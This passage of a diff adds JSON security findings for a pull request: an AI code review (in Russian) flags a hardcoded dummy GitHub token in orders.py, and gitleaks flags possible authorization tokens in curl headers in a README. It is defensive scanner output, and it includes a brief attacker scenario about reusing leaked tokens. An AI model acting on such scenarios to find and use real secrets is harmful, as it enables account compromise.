+    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
+  },
+  {
+    "id": "ai-review-4-orders.py-15",
+    "source": "ai-review",
+    "category": "sensitive-data",
+    "severity": "medium",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 15,
+    "line_end": 15,
+    "title": "Хардкод токена GitHub в коде",
+    "description": "Токен GitHub хранится в исходном коде как строковая константа: GitHubToken = \"ghp_dummytoken_for_backup_notifications\". Несмотря на префикс dummy, это плохая практика и может сигнализировать о других проблемах.",
+    "impact": "Утечка учетных данных, возможность атак на GitHub API или CI/CD, а также снижение доверия к коду со стороны ревьюеров.",
+    "exploit_scenario": "Атакующий клонирует репозиторий, находит токен в коде, и пытается использовать его для доступа к API. Наличие dummy-токена может стимулировать поиск других секретов.",
+    "evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\" — нет использования os.getenv(\"GITHUB_TOKEN\").",
+    "recommendation": "Использовать os.getenv(\"GITHUB_TOKEN\") или внешний менеджер секретов.",
+    "cwe": "CWE-312",
+    "status": "OPEN",
+    "created_at": "2026-08-23T19:05:52Z",
+    "pr_number": 13,
+    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
+  }
+]
@@ -0,0 +1,56 @@
+[
+  {
+    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
+    "source": "gitleaks",
+    "category": "secret",
+    "severity": "high",
+    "confidence": 0.9,
+    "file": "README.md",
+    "line_start": 27,
+    "line_end": 27,
+    "title": "Potential secret: curl-auth-header",
+    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
+    "rule_id": "curl-auth-header",
+    "cwe": "CWE-798",
+    "status": "OPEN",
+    "created_at": "2026-08-25T02:26:57Z",
+    "pr_number": 13,
+    "commit_sha": "0a7736e8a5156e6d59bdea10b0501bb4e194e983"
+  },
+  {
+    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
+    "source": "gitleaks",
+    "category": "secret",
+    "severity": "high",
+    "confidence": 0.9,
+    "file": "README.md",
+    "line_start": 36,
+    "line_end": 36,
+    "title": "Potential secret: curl-auth-header",
+    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
+    "rule_id": "curl-auth-header",
+    "cwe": "CWE-798",
+    "status": "OPEN",
+    "created_at": "2026-08-25T02:26:57Z",
+    "pr_number": 13,
+    "commit_sha": "0a7736e8a5156e6d59bdea10b0501bb4e194e983"
+  },
+  {
+    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
+    "source": "gitleaks",
+    "category": "secret",
+    "severity": "high",
+    "confidence": 0.9,
+    "file": "README.md",
+    "line_start": 52,
+    "line_end": 52,
+    "title": "Potential secret: curl-auth-header",
+    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
+    "rule_id": "curl-auth-header",
+    "cwe": "CWE-798",
+    "status": "OPEN",
+    "created_at": "2026-08-25T02:26:57Z",
+    "pr_number": 13,
+    "commit_sha": "0a7736e8a5156e6d59bdea10b0501bb4e194e983"
+  }
+]